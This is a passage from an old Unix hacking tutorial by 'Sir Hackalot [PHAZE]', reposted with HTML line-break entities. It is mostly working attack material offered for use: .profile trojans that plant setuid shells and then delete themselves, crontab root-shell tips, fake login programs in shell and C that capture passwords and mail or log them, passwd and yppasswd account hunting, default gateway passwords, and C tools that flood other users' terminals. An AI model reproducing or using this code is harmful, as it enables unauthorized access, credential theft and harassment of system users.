are logged in as owns it, or IF the&lt;br /&gt;UID is set to something else, the New UID owns the file.  This brings&lt;br /&gt;me to BAD file permissions.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;II. HACKING : Bad Directory Permissions&lt;br /&gt;&lt;br /&gt;        Now, what do I mean for bad directory permissions?  Well, look for&lt;br /&gt;files that YOU can write to, and above all, DIRECTORIES you can write to.&lt;br /&gt;If you have write permissions on a file, you can modify it.  Now, this comes&lt;br /&gt;in handy when wanting to steal someone's access.  If you can write to&lt;br /&gt;a user's .profile, you are in business.  You can have that user's .profile&lt;br /&gt;create a suid shell for you to run when You next logon after the user.&lt;br /&gt;If the .profile is writable to you, you can do this:&lt;br /&gt;&lt;br /&gt;$ ed .profile&lt;br /&gt;[some number will be here]&lt;br /&gt;? a&lt;br /&gt;cp /bin/sh .runme&lt;br /&gt;chmod a+x .runme&lt;br /&gt;chmod a+s .runme&lt;br /&gt;(control-d)&lt;br /&gt;? w&lt;br /&gt;[new filesize will be shown]&lt;br /&gt;? q&lt;br /&gt;$&lt;br /&gt;&lt;br /&gt;  Now, when the user next logs on, the .profile will create .runme which&lt;br /&gt;  will set your ID to the user whose .profile you changed.  Ideally, you'll&lt;br /&gt;  go back in and zap those lines after the suid is created, and you'll create&lt;br /&gt;  a suid somewhere else, and delete the one in his dir.  The .runme will&lt;br /&gt;  not appear in the user's REGULAR directory list, it will only show up&lt;br /&gt;  if he does "ls -a" (or ls with a -a combination), because, the '.' makes&lt;br /&gt;  a file hidden.&lt;br /&gt;&lt;br /&gt;The above was a TROJAN HORSE, which is one of the most widely used/abused&lt;br /&gt;method of gaining more power on a unix.  The above could be done in C via&lt;br /&gt;the system() command, or by just plain using open(), chmod(), and the like.&lt;br /&gt;* Remember to check and see if the root user's profile is writeable *&lt;br /&gt;* it is located at /.profile (usually) *&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   The BEST thing that could happen is to find a user's directory writeable&lt;br /&gt;   by you.  Why?  well, you could replace all the files in the directory&lt;br /&gt;   with your own devious scripts, or C trojans.  Even if a file is not&lt;br /&gt;   writeable by you, you can still overwrite it by deleteing it.  If you&lt;br /&gt;   can read various files, such as the user's .profile, you can make a&lt;br /&gt;   self deleting trojan as so:&lt;br /&gt;&lt;br /&gt; $ cp .profile temp.pro&lt;br /&gt; $ ed .profile&lt;br /&gt; 1234&lt;br /&gt; ? a&lt;br /&gt; cp /bin/sh .runme&lt;br /&gt; chmod a+x .runme&lt;br /&gt; chmod a+s .runme&lt;br /&gt; mv temp.pro .profile&lt;br /&gt; (control-d)&lt;br /&gt; ? w&lt;br /&gt; [another number]&lt;br /&gt; ? q&lt;br /&gt; $ chown that_user temp.pro&lt;br /&gt;&lt;br /&gt;  What happens is that you make a copy of the .profile before you change it.&lt;br /&gt;  Then, you change the original.  When he runs it, the steps are made, then&lt;br /&gt;  the original version is placed over the current, so if the idiot looks in&lt;br /&gt;  his .profile, he won't see anything out of the ordinary, except that he&lt;br /&gt;  could notice in a long listing that the change date is very recent, but&lt;br /&gt;  most users are not paranoid enough to do extensive checks on their files,&lt;br /&gt;  except sysadm files (such as passwd).&lt;br /&gt;&lt;br /&gt;  Now, remember, even though you can write to a dir, you may not be able&lt;br /&gt;  to write to a file without deleting it.  If you do not have write perms&lt;br /&gt;  for that file, you'll have to delete it and write something in its place&lt;br /&gt;  (put a file with the same name there). The most important thing to remember&lt;br /&gt;  if you have to delete a .profile is to CHANGE the OWNER back after you&lt;br /&gt;  construct a new one (hehe) for that user.  He could easily notice that his&lt;br /&gt;  .profile was changed and he'll know who did it.  YES, you can change the&lt;br /&gt;  owner to someone else besides yourself and the original owner (as to throw&lt;br /&gt;  him off), but this is not wise as keeping access usually relies on the fact&lt;br /&gt;  that they don't know you are around.&lt;br /&gt;&lt;br /&gt;  You can easily change cron files if you can write to them.  I'm not going&lt;br /&gt;  to go into detail about cronfile formats here, just find the crontab files&lt;br /&gt;  and modify them to create a shell somewhere as root every once in a while,&lt;br /&gt;  and set the user-id.&lt;br /&gt;&lt;br /&gt;III. Trojan Horses on Detached terminals.&lt;br /&gt;        Basically this:  You can send garbage to a user's screen and&lt;br /&gt;        mess him up bad enough to force a logoff, creating a detached&lt;br /&gt;        account.  Then you can execute a trojan horse off that terminal in&lt;br /&gt;        place of login or something, so the next one who calls can hit the&lt;br /&gt;        trojan horse.  This USUALLY takes the form of a fake login and&lt;br /&gt;        write the username/pw entererred to disk.&lt;br /&gt;&lt;br /&gt;        Now, there are other trojan horses available for you to write.  Now,&lt;br /&gt;        don't go thinking about a virus, for they don't work unless ROOT runs&lt;br /&gt;        them.  Anyway, a common trjan would be a shell script to get the&lt;br /&gt;        password, and mail it to you.  Now, you can replace the code for&lt;br /&gt;        the self deleting trojan with one saying something like:&lt;br /&gt;        echo "login: \c"&lt;br /&gt;        read lgin&lt;br /&gt;        echo off (works on some systems)&lt;br /&gt;        (if above not available...: stty -noecho)&lt;br /&gt;        echo "Password:\c"&lt;br /&gt;        read pw&lt;br /&gt;        echo on&lt;br /&gt;        echo "Login: $lgin - Pword: $pw" | mail you&lt;br /&gt;&lt;br /&gt;        Now, the best way to use this is to put it in a seperate script file&lt;br /&gt;        so it can be deleted as part of the self deleting trojan.  A quick&lt;br /&gt;        modification, removing the "login: " and leaving the password&lt;br /&gt;        may have it look like SU, so you can get the root password.  But&lt;br /&gt;        make sure the program deletes itself.  Here is a sample trojan&lt;br /&gt;        login in C:&lt;br /&gt;&lt;br /&gt;        #include &lt;stdio.h&gt;&lt;br /&gt;        /* Get the necessary defs.. */&lt;br /&gt;        main()&lt;br /&gt;        {&lt;br /&gt;          char *name[80];&lt;br /&gt;          char *pw[20];&lt;br /&gt;          FILE *strm;&lt;br /&gt;          printf("login: ");&lt;br /&gt;          gets(name);&lt;br /&gt;          pw = getpass("Password:");&lt;br /&gt;          strm = fopen("/WhereEver/Whateverfile","a");&lt;br /&gt;          fprintf(strm,"User: (%s), PW [%s]\n",name,pw);&lt;br /&gt;          fclose(strm);&lt;br /&gt;          /* put some kind of error below... or something... */&lt;br /&gt;          printf("Bus Error - Core Dumped\n");&lt;br /&gt;          exit(1);&lt;br /&gt;          }&lt;br /&gt;&lt;br /&gt;        The program gets the login, and the password, and appends it to&lt;br /&gt;        a file (/wherever/whateverfile), and creates the file if it can,&lt;br /&gt;        and if its not there.  That is just an example.  Network Annoyances&lt;br /&gt;        come later.&lt;br /&gt;&lt;br /&gt; IV.  Odd systems&lt;br /&gt;&lt;br /&gt;        There may be systems you can log in to with  no problem, and find some&lt;br /&gt;slack menu, database, or word processor as your shell, with no way to the&lt;br /&gt;command interpreter (sh, ksh, etc..).  Don't give up here.  Some systems will&lt;br /&gt;let you login as root, but give you a menu which will allow you to add an&lt;br /&gt;account.  However, ones that do this usually have some purchased software&lt;br /&gt;package running, and the people who made the software KNOW that the people&lt;br /&gt;who bought it are idiots, and the thing will sometimes only allow you to&lt;br /&gt;add accounts with user-id 100 or greater, with their special menushell as&lt;br /&gt;a shell.  You probably won't get to pick the shell, the program will probably&lt;br /&gt;stick one on the user you created which is very limiting.  HOWEVER, sometimes&lt;br /&gt;you can edit accounts, and it will list accounts you can edit on the screen.&lt;br /&gt;HOWEVER, these programs usually only list those with UIDS &gt; 100 so you don't&lt;br /&gt;edit the good accounts, however, they donot stop you from editing an account&lt;br /&gt;with a UID &lt; 100.  The "editing" usually only involves changing the password&lt;br /&gt;on the account.  If an account has a * for a password, the standard passwd&lt;br /&gt;program which changes programs, will say no pw exists, and will ask you to&lt;br /&gt;enter one. (wallah! You have just freed an account for yourself.  Usually&lt;br /&gt;bin and sys have a * for a password).  If one exists you'll have to enter&lt;br /&gt;the old Password (I hope you know it!) for that account.  Then, you are&lt;br /&gt;in the same boat as before. (BTW -- These wierd systems are usually&lt;br /&gt;Xenix/386, Xenix/286, or Altos/286)&lt;br /&gt;        With word processors, usually you can select the load command,&lt;br /&gt;and when the word processor prompts for a file, you can select the passwd&lt;br /&gt;file, to look for open accounts, or at least valid ones to hack.  An example&lt;br /&gt;would be the informix system.  You can get a word processor with that such&lt;br /&gt;as Samna word, or something, and those Lamers will not protect against&lt;br /&gt;shit like that.  Why?  The Passwd file HAS to be readable by all for the most&lt;br /&gt;part, so each program can "stat" you.  However, word processors could be made&lt;br /&gt;to restrict editing to a directory, or set of directories.  Here is an&lt;br /&gt;example:&lt;br /&gt;&lt;br /&gt;        $ id&lt;br /&gt;        uid=100(sirhack) gid=100(users)&lt;br /&gt;        $ sword&lt;br /&gt;        (word processor comes up)&lt;br /&gt;        (select LOAD A FILE)&lt;br /&gt;        &lt;edit&gt;: /etc/passwd&lt;br /&gt;        &lt;loading..&gt;&lt;br /&gt;        (you see: )&lt;br /&gt;        root:dkdjkgsf!!!:0:0:Sysop:/:/bin/sh&lt;br /&gt;        sirhack:dld!k%%^%:100:100:Sir Hackalot:/usr/usr1/sirhack:/bin/sh&lt;br /&gt;        datawiz::101:100:The Data Wizard:/usr/usr1/datawiz:/bin/sh&lt;br /&gt;        ...&lt;br /&gt;&lt;br /&gt;Now I have found an account to take over! "datawiz" will get me in with no&lt;br /&gt;trouble, then I can change his password, which he will not like at all.&lt;br /&gt;Some systems leave "sysadm" unpassworded (stupid!), and now, Most versions&lt;br /&gt;of Unix, be it Xenix, Unix, BSD, or whatnot, they ship a sysadm shell which&lt;br /&gt;will menu drive all the important shit, even creating users, but you must&lt;br /&gt;have ansi or something.&lt;br /&gt;&lt;br /&gt;        You can usually tell when you'll get a menu.  Sometimes on UNIX&lt;br /&gt;        SYSTEM V, when it says TERM = (termtype), and is waiting for&lt;br /&gt;        you to press return or whatever, you will probably get a menu.. ack.&lt;br /&gt;&lt;br /&gt;V. Shadowed Password files&lt;br /&gt;        Not much to say about this.  all it is, is when every password field&lt;br /&gt;        in the password file has an "x" or just a single character.  What&lt;br /&gt;        that does is screw you, becuase you cannot read the shadowed password&lt;br /&gt;        file, only root can, and it contains all the passwords, so you will&lt;br /&gt;        not know what accounts have no passwords, etc.&lt;br /&gt;&lt;br /&gt;There are a lot of other schemes for hacking unix, lots of others, from&lt;br /&gt;writing assembly code that modifies the PCB through self-changing code which&lt;br /&gt;the interrupt handler doesn't catch, and things like that.  However, I do&lt;br /&gt;not want to give away everything, and this was not meant for advanced Unix&lt;br /&gt;Hackers, or atleast not the ones that are familiar with 68xxx, 80386 Unix&lt;br /&gt;assembly language or anything.  Now I will Talk about Internet.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;---&gt;&gt;&gt; InterNet &lt;&lt;&lt;---&lt;br /&gt;        Why do I want to talk about InterNet?  Well, because it is a prime&lt;br /&gt;example of a TCP/IP network, better known as a WAN (Wide-Area-Network).&lt;br /&gt;Now, mainly you will find BSD systems off of the Internet, or SunOS, for&lt;br /&gt;they are the most common.  They may not be when System V, Rel 4.0, Version&lt;br /&gt;2.0 comes out.  Anyway,  these BSDs/SunOSs like to make it easy to jump&lt;br /&gt;from one computer to another once you are logged in.  What happens is&lt;br /&gt;EACH system has a "yello page password file". Better known as yppasswd.&lt;br /&gt;If you look in there, and see blank passwords you can use rsh, rlogin, etc..&lt;br /&gt;to slip into that system.  One system in particular I came across had a&lt;br /&gt;a yppasswd file where *300* users had blank passwords in the Yellow Pages.&lt;br /&gt;Once I got in on the "test" account, ALL I had to do was select who I wanted&lt;br /&gt;to be, and do: rlogin -l user (sometimes -n).  Then it would log me onto&lt;br /&gt;the system I was already on, through TCP/IP.  However, when you do this,&lt;br /&gt;remember that the yppasswd only pertains to the system you are on at&lt;br /&gt;the time.  To find accounts, you could find the yppasswd file and do:&lt;br /&gt;&lt;br /&gt;% cat yppasswd | grep ::&lt;br /&gt;&lt;br /&gt;Or, if you can't find yppasswd..&lt;br /&gt;&lt;br /&gt;% ypcat passwd | grep ::&lt;br /&gt;&lt;br /&gt;On ONE system (which will remain confidential), I found the DAEMON account&lt;br /&gt;left open in the yppasswd file.  Not bad.  Anyway,  through one system&lt;br /&gt;on the internet, you can reach many.  Just use rsh, or rlogin, and look&lt;br /&gt;in the file: /etc/hosts for valid sites which you can reach.  If you get&lt;br /&gt;on to a system, and rlogin to somewhere else, and it asks for a password,&lt;br /&gt;that just means one of two things:&lt;br /&gt;&lt;br /&gt;A. Your account that you have hacked on the one computer is on the target&lt;br /&gt;   computer as well.  Try to use the same password (if any) you found the&lt;br /&gt;   hacked account to have.  If it is a default, then it is definitly on the&lt;br /&gt;   other system, but good luck...&lt;br /&gt;&lt;br /&gt;B. rlogin/rsh passed your current username along to the remote system, so it&lt;br /&gt;   was like typing in your login at a "login: " prompt.  You may not exist on&lt;br /&gt;   the other machine.  Try "rlogin -l login_name", or rlogin -n name..&lt;br /&gt;   sometimes, you can execute "rwho" on another machine, and get a valid&lt;br /&gt;   account.&lt;br /&gt;&lt;br /&gt;Some notes on Internet servers.  There are "GATEWAYS" that you can get into&lt;br /&gt;that will allow access to MANY internet sites.  They are mostly run off&lt;br /&gt;a modified GL/1 or GS/1.  No big deal.  They have help files.  However,&lt;br /&gt;you can get a "privilged" access on them, which will give you CONTROL of&lt;br /&gt;the gateway.. You can shut it down, remove systems from the Internet, etc..&lt;br /&gt;When you request to become privileged, it will ask for a password.  There is&lt;br /&gt;a default.  The default is "system".  I have come across *5* gateways with&lt;br /&gt;the default password.  Then again, DECNET has the same password, and I have&lt;br /&gt;come across 100+ of those with the default privileged password.  CERT Sucks.&lt;br /&gt;a Gateway that led to APPLE.COM had the default password.  Anyone could&lt;br /&gt;have removed apple.com from the internet.  Be advised that there are many&lt;br /&gt;networks now that use TCP/IP.. Such as BARRNET, LANET, and many other&lt;br /&gt;University networks.&lt;br /&gt;&lt;br /&gt;--** Having Fun **--&lt;br /&gt;&lt;br /&gt;Now, if nothing else, you should atleast have some fun.  No, I do not mean&lt;br /&gt;go trashing hardrives, or unlinking directories to take up inodes, I mean&lt;br /&gt;play with online users.  There are many things to do.  Re-direct output&lt;br /&gt;to them is the biggie.  Here is an example:&lt;br /&gt; $ who&lt;br /&gt; loozer   tty1&lt;br /&gt; sirhack  tty2&lt;br /&gt; $ banner You Suck &gt;/dev/tty1&lt;br /&gt; $&lt;br /&gt; That sent the output to loozer.  The TTY1 is where I/O is being performed&lt;br /&gt; to his terminal (usually a modem if it is a TTY).  You can repetitiously&lt;br /&gt; banner him with a do while statement in shell, causing him to logoff. Or&lt;br /&gt; you can get sly, and just screw with him.  Observe this C program:&lt;br /&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;fcntl.h&gt;&lt;br /&gt;#include &lt;string.h&gt;&lt;br /&gt;&lt;br /&gt;main(argc,argument)&lt;br /&gt;int argc;&lt;br /&gt;char *argument[];&lt;br /&gt;{&lt;br /&gt;    int handle;&lt;br /&gt;    char *pstr,*olm[80];&lt;br /&gt;    char *devstr = "/dev/";&lt;br /&gt;    int acnt = 2;&lt;br /&gt;    FILE *strm;&lt;br /&gt;    pstr = "";&lt;br /&gt;    if (argc == 1) {&lt;br /&gt;                printf("OL (OneLiner) Version 1.00 \n");&lt;br /&gt;                printf("By Sir Hackalot [PHAZE]\n");&lt;br /&gt;        printf("\nSyntax: ol tty message\n");&lt;br /&gt;        printf("Example: ol tty01 You suck\n");&lt;br /&gt;        exit(1);&lt;br /&gt;    }&lt;br /&gt;    printf("OL (OneLiner) Version 1.0\n");&lt;br /&gt;        printf("By Sir Hackalot [PHAZE]\n");&lt;br /&gt;    if (argc == 2) {&lt;br /&gt;        strcpy(olm,"");&lt;br /&gt;        printf("\nDummy! You forgot to Supply a ONE LINE MESSAGE\n");&lt;br /&gt;        printf("Enter one Here =&gt; ");&lt;br /&gt;        gets(olm);&lt;br /&gt;    }&lt;br /&gt;    strcpy(pstr,"");&lt;br /&gt;    strcat(pstr,devstr);&lt;br /&gt;        strcat(pstr,argument[1]);&lt;br /&gt;    printf("Sending to: [%s]\n",pstr);&lt;br /&gt;    strm = fopen(pstr,"a");&lt;br /&gt;    if (strm == NULL) {&lt;br /&gt;        printf("Error writing to: %s\n",pstr);&lt;br /&gt;        printf("Cause: No Write Perms?\n");&lt;br /&gt;        exit(2);&lt;br /&gt;    }&lt;br /&gt;    if (argc == 2) {&lt;br /&gt;                if (strcmp(logname(),"sirhack") != 0) fprintf(strm,"Message from (%s): \n",logname());&lt;br /&gt;                fprintf(strm,"%s\n",olm);&lt;br /&gt;        fclose(strm);&lt;br /&gt;        printf("Message Sent.\n");&lt;br /&gt;        exit(0);&lt;br /&gt;    }&lt;br /&gt;        if (argc &gt; 2) {                            &lt;br /&gt;                if (strcmp(logname(),"sirhack") != 0) fprintf(strm,"Message from (%s):\n",logname());&lt;br /&gt;        while (acnt &lt;= argc - 1) {&lt;br /&gt;            fprintf(strm,"%s ",argument[acnt]);&lt;br /&gt;            acnt++;&lt;br /&gt;        }&lt;br /&gt;        fclose(strm);&lt;br /&gt;        printf("Message sent!\n");&lt;br /&gt;        exit(0);&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;What the above does is send one line of text to a device writeable by you&lt;br /&gt;in /dev.  If you try it on a user named "sirhack" it will notify sirhack&lt;br /&gt;of what you are doing.  You can supply an argument at the command line, or&lt;br /&gt;leave a blank message, then it will prompt for one.  You MUST supply a&lt;br /&gt;Terminal.  Also, if you want to use ?, or *, or (), or [], you must not&lt;br /&gt;supply a message at the command line, wait till it prompts you.  Example:&lt;br /&gt;&lt;br /&gt;$ ol tty1 You Suck!&lt;br /&gt;OL (OneLiner) Version 1.00&lt;br /&gt;by Sir Hackalot [PHAZE]&lt;br /&gt;Sending to: [/dev/tty1]&lt;br /&gt;Message Sent!&lt;br /&gt;$&lt;br /&gt;Or..&lt;br /&gt;$ ol tty1&lt;br /&gt;OL (OneLiner) Version 1.00&lt;br /&gt;by Sir Hackalot [PHAZE]&lt;br /&gt;Dummy! You Forgot to Supply a ONE LINE MESSAGE!&lt;br /&gt;Enter one here =&gt; Loozer! Logoff (NOW)!! ^G^G&lt;br /&gt;Sending to: [/dev/tty1]&lt;br /&gt;Message Sent!&lt;br /&gt;$&lt;br /&gt;&lt;br /&gt;  You can even use it to fake messages from root.  Here is another:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt; * Hose another user&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;sys/types.h&gt;&lt;br /&gt;#include &lt;sys/stat.h&gt;&lt;br /&gt;#include &lt;signal.h&gt;&lt;br /&gt;#include &lt;utmp.h&gt;&lt;br /&gt;#include &lt;time.h&gt;&lt;br /&gt;#include &lt;termio.h&gt;&lt;br /&gt;#include &lt;sys/utsname.h&gt;&lt;br /&gt;&lt;br /&gt;#define NMAX    sizeof(ubuf.ut_name)&lt;br /&gt;&lt;br /&gt;struct    utmp ubuf;&lt;br /&gt;struct    termio oldmode, mode;&lt;br /&gt;struct    utsname name;&lt;br /&gt;int yn;       &lt;br /&gt;int loop = 0;&lt;br /&gt;char    *realme[50] = "Unknown";&lt;br /&gt;char    *strcat(), *strcpy(), me[50]  = "???", *him, *mytty, histty[32];&lt;br /&gt;char    *histtya, *ttyname(), *strrchr(), *getenv();&lt;br /&gt;int    signum[] = {SIGHUP, SIGINT, SIGQUIT, 0}, logcnt, eof(), timout();&lt;br /&gt;FILE    *tf;&lt;br /&gt;&lt;br /&gt;main(argc, argv)&lt;br /&gt;int argc;&lt;br /&gt;char *argv[];&lt;br /&gt;{&lt;br /&gt;    register FILE *uf;&lt;br /&gt;    char c1, lastc;&lt;br /&gt;    int goodtty = 0;&lt;br /&gt;    long clock = time((long *) 0);&lt;br /&gt;    struct tm *localtime();&lt;br /&gt;    struct tm *localclock = localtime( &amp;amp;clock );&lt;br /&gt;    struct stat stbuf;&lt;br /&gt;    char psbuf[20], buf[80], window[20], junk[20];&lt;br /&gt;    FILE *pfp, *popen();&lt;br /&gt;&lt;br /&gt;    if (argc &lt; 2) {&lt;br /&gt;                printf("usage: hose user [ttyname]\n");&lt;br /&gt;        exit(1);&lt;br /&gt;    }&lt;br /&gt;        him = argv[1];&lt;br /&gt;&lt;br /&gt;    if (argc &gt; 2)&lt;br /&gt;        histtya = argv[2];&lt;br /&gt;    if ((uf = fopen("/etc/utmp", "r")) == NULL) {&lt;br /&gt;        printf("cannot open /etc/utmp\n");&lt;br /&gt;        exit(1);&lt;br /&gt;    }&lt;br /&gt;    cuserid(me);&lt;br /&gt;    if (me == NULL) {&lt;br /&gt;        printf("Can't find your login name\n");&lt;br /&gt;        exit(1);&lt;br /&gt;    }&lt;br /&gt;    mytty = ttyname(2);&lt;br /&gt;    if (mytty == NULL) {&lt;br /&gt;        printf("Can't find your tty\n");&lt;br /&gt;        exit(1);&lt;br /&gt;    }&lt;br /&gt;    if (stat(mytty, &amp;amp;stbuf) &lt; 0) {&lt;br /&gt;        printf("Can't stat your tty -- This System is bogus.\n");&lt;br /&gt;    }&lt;br /&gt;    if ((stbuf.st_mode&amp;amp;02) == 0) {&lt;br /&gt;        printf("You have write permissions turned off (hehe!).\n");&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    if (histtya) {&lt;br /&gt;        if (!strncmp(histtya, "/dev/", 5))&lt;br /&gt;            histtya = strrchr(histtya, '/') + 1;&lt;br /&gt;        strcpy(histty, "/dev/");&lt;br /&gt;        strcat(histty, histtya);&lt;br /&gt;    }&lt;br /&gt;    while (fread((char *)&amp;amp;ubuf, sizeof(ubuf), 1, uf) == 1) {&lt;br /&gt;        if (ubuf.ut_name[0] == '\0')&lt;br /&gt;            continue;&lt;br /&gt;        if (!strncmp(ubuf.ut_name, him, NMAX)) {&lt;br /&gt;            logcnt++;&lt;br /&gt;            if (histty[0]==0) {&lt;br /&gt;                strcpy(histty, "/dev/");&lt;br /&gt;                strcat(histty, ubuf.ut_line);&lt;br /&gt;            }&lt;br /&gt;            if (histtya) {&lt;br /&gt;                if (!strcmp(ubuf.ut_line, histtya))&lt;br /&gt;                    goodtty++;&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;    fclose(uf);&lt;br /&gt;        if (logcnt==0) {&lt;br /&gt;        printf("%s not found! (Not logged in?)\n", him);&lt;br /&gt;        exit(1);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    if (histtya==0 &amp;amp;&amp;amp; logcnt &gt; 1) {&lt;br /&gt;        printf("%s logged more than once\nwriting to %s\n", him, histty+5);&lt;br /&gt;    }&lt;br /&gt;    if (access(histty, 0) &lt; 0) {&lt;br /&gt;        printf("No such tty? [%s]\n",histty);&lt;br /&gt;        exit(1);&lt;br /&gt;    }&lt;br /&gt;    signal(SIGALRM, timout);&lt;br /&gt;    alarm(5);&lt;br /&gt;    if ((tf = fopen(histty, "w")) == NULL)&lt;br /&gt;        goto perm;&lt;br /&gt;    alarm(0);&lt;br /&gt;    if (fstat(fileno(tf), &amp;amp;stbuf) &lt; 0)&lt;br /&gt;        goto perm;&lt;br /&gt;    if (geteuid() != 0 &amp;amp;&amp;amp; (stbuf.st_mode&amp;amp;02) == 0)&lt;br /&gt;        goto perm;&lt;br /&gt;    ioctl(0, TCGETA, &amp;amp;oldmode);        /* save tty state */&lt;br /&gt;    ioctl(0, TCGETA, &amp;amp;mode);&lt;br /&gt;    sigs(eof);&lt;br /&gt;    uname(&amp;amp;name);&lt;br /&gt;        if (strcmp(him,"YOURNAMEHERE") == 0) yn = 1;&lt;br /&gt;  if (yn == 1 ) {&lt;br /&gt;    fprintf(tf, "\r(%s attempted to HOSE You with NW)\r\n",me);&lt;br /&gt;    fclose(tf);&lt;br /&gt;    printf("Critical Error Handler: %s running conflicting process\n",him);&lt;br /&gt;    exit(1);&lt;br /&gt;}&lt;br /&gt;    fflush(tf);&lt;br /&gt;    mode.c_cc[4] = 1;&lt;br /&gt;    mode.c_cc[5] = 0;&lt;br /&gt;    mode.c_lflag &amp;amp;= ~ICANON;&lt;br /&gt;    ioctl(0, TCSETAW, &amp;amp;mode);&lt;br /&gt;    lastc = '\n';&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;printf("Backspace / Spin Cursor set lose on: %s\n",him);&lt;br /&gt;   while (loop == 0) {&lt;br /&gt;   c1 = '\b';&lt;br /&gt;   write(fileno(tf),&amp;amp;c1,1);&lt;br /&gt;   sleep(5);&lt;br /&gt;fprintf(tf,"\\\b|\b/\b-\b+\b");&lt;br /&gt;   fflush(tf);&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;perm:&lt;br /&gt;printf("Write Permissions denied!\n");&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;timout()&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;printf("Timeout opening their tty\n");&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;eof()&lt;br /&gt;{&lt;br /&gt;printf("Bye..\n");&lt;br /&gt;ioctl(0, TCSETAW, &amp;amp;oldmode);&lt;br /&gt;exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;ex()&lt;br /&gt;{&lt;br /&gt;    register i;&lt;br /&gt;    sigs(SIG_IGN);&lt;br /&gt;    i = fork();&lt;br /&gt;    if (i &lt; 0) {&lt;br /&gt;        printf("Try again\n");&lt;br /&gt;        goto out;&lt;br /&gt;    }&lt;br /&gt;    if (i == 0) {&lt;br /&gt;        sigs((int (*)())0);&lt;br /&gt;        execl(getenv("SHELL")?getenv("SHELL"):"/bin/sh","sh","-t",0);&lt;br /&gt;        exit(0);&lt;br /&gt;    }&lt;br /&gt;    while(wait((int *)NULL) != i)&lt;br /&gt;        ;&lt;br /&gt;    printf("!\n");&lt;br /&gt;out:&lt;br /&gt;    sigs(eof);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sigs(sig)&lt;br /&gt;int (*sig)();&lt;br /&gt;{&lt;br /&gt;    register i;&lt;br /&gt;    for (i=0; signum[i]; i++)&lt;br /&gt;        signal(signum[i], sig);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;What the above is, is a modified version of the standard write command.&lt;br /&gt;What it does, is spin the cursor once, then backspace once over the&lt;br /&gt;screen of the user it is run on. All though, it does not physically affect&lt;br /&gt;input, the user thinks it does.  therefore, he garbles input.  The sleep(xx)&lt;br /&gt;can be changed to make the stuff happen more often, or less often.&lt;br /&gt;If you put your login name in the "YOURNAMEHERE" slot, it will protect you&lt;br /&gt;from getting hit by it, if someone off a Public access unix leeches the&lt;br /&gt;executable from your directory.&lt;br /&gt;You could make a shorter program that does almost the same thing, but&lt;br /&gt;you have to supply the terminal, observe:&lt;br /&gt;&lt;br /&gt;/* Backspace virus, by Sir Hackalot [Phaze] */&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;fcntl.h&gt;&lt;br /&gt;main(argc,argv)&lt;br /&gt;char *argv[];&lt;br /&gt;int argc;&lt;br /&gt;{&lt;br /&gt;        int x = 1;&lt;br /&gt;        char *device = "/dev/";&lt;br /&gt;        FILE *histty;&lt;br /&gt;        if (argc == 1) {&lt;br /&gt;        printf("Bafoon.  Supply a TTY.\n");&lt;br /&gt;        exit(1);&lt;br /&gt;        }&lt;br /&gt;        strcat(device,argv[1]);&lt;br /&gt;        /* Make the filename /dev/tty.. */&lt;br /&gt;        histty = fopen(device,"a");&lt;br /&gt;        if (histty == NULL) {&lt;br /&gt;        printf("Error opening/writing to tty.  Check their perms.\n");&lt;br /&gt;        exit(1);&lt;br /&gt;        }&lt;br /&gt;        printf("BSV - Backspace virus, By Sir Hackalot.\n");&lt;br /&gt;        printf("The Sucker on %s is getting it!\n",device);&lt;br /&gt;        while (x == 1) {&lt;br /&gt;        fprintf(histty,"\b\b");&lt;br /&gt;        fflush(histty);&lt;br /&gt;        sleep(5);&lt;br /&gt;        }&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;Thats all there is to it.  If you can write to their tty, you can use this on&lt;br /&gt;them.  It sends two backspaces to them every approx. 5 seconds.  You&lt;br /&gt;should run this program in the background.  (&amp;amp;).  Here is an example:&lt;br /&gt;&lt;br /&gt;$ who&lt;br /&gt;sirhack     tty11&lt;br /&gt;loozer      tty12&lt;br /&gt;$ bsv tty12&amp;amp;&lt;br /&gt;[1]  4566&lt;br /&gt;BSV - Backspace virus, by Sir Hackalot&lt;br /&gt;The Sucker on /dev/tty12 is getting it!&lt;br /&gt;$&lt;br /&gt;&lt;br /&gt;Now, it will keep "attacking" him, until he loggs of, or you kill the process&lt;br /&gt;(which was 4566 -- when you use &amp;amp;, it gives the pid [usually]).&lt;br /&gt;&lt;br /&gt;** Note *** Keep in mind that MSDOS, and other OP systems use The CR/LF&lt;br /&gt;method to terminate a line.  However, the LF terminates a line in Unix.&lt;br /&gt;you must STRIP CR's on an ascii upload if you want something you upload&lt;br /&gt;to an editor to work right.  Else, you'll see a ^M at the end of every&lt;br /&gt;line.  I know that sucks, but you just have to compensate for it.&lt;br /&gt;&lt;br /&gt;I have a number of other programs that annoy users, but that is enough to&lt;br /&gt;get your imagination going, provided you are a C programmer.  You can annoy&lt;br /&gt;users other ways.  One thing you can do is screw up the user's mailbox.&lt;br /&gt;The way to do this is to find a binary file (30k or bigger) on the system&lt;br /&gt;which YOU have access to read.  then, do this:&lt;br /&gt;&lt;br /&gt;$ cat binary_file | mail loozer&lt;br /&gt;&lt;br /&gt;or&lt;br /&gt;&lt;br /&gt;$ mail loozer &lt; binary file&lt;br /&gt;&lt;br /&gt;That usually will spilt into 2 messages or more.  The 1st message will&lt;br 